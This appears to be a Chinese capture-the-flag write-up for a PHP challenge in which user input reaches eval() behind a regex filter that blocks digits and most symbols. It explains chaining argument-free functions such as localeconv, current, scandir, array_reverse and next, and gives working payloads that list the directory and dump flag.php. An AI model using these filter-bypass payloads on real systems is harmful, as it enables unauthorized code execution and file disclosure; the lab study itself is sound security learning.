
[!Important]
RCE无参构造
0x01#
访问靶场,回显源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
0x02#
[!Note]
代码审计,此题并不像前几题一样告知flag.php
过滤的符号有0-9,~,`,$,%,*,(中文,)中文,-,=,{,[,],},:,,,’,",<,>,.,/,?,\
过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse()数组逆序
array_flip()是交换数组的键和值
无数字rce函数相关
1
2
3
4
5
6
| ?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
next(): 函数将内部指针指向数组中的下一个元素,并输出。
?c=print_r(scandir(current(localeconv())));
print_r(scandir(current(localeconv()))) 查看并输出当前目录所有文件名
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
|
0x03#
构造payload尝试查看当前目录所有文件名
1
| ?c=print_r(scandir(current(localeconv())));
|

0x04#
构造payload访问flag.php
1
| ?c=show_source(next(array_reverse(scandir(current(localeconv())))));
|
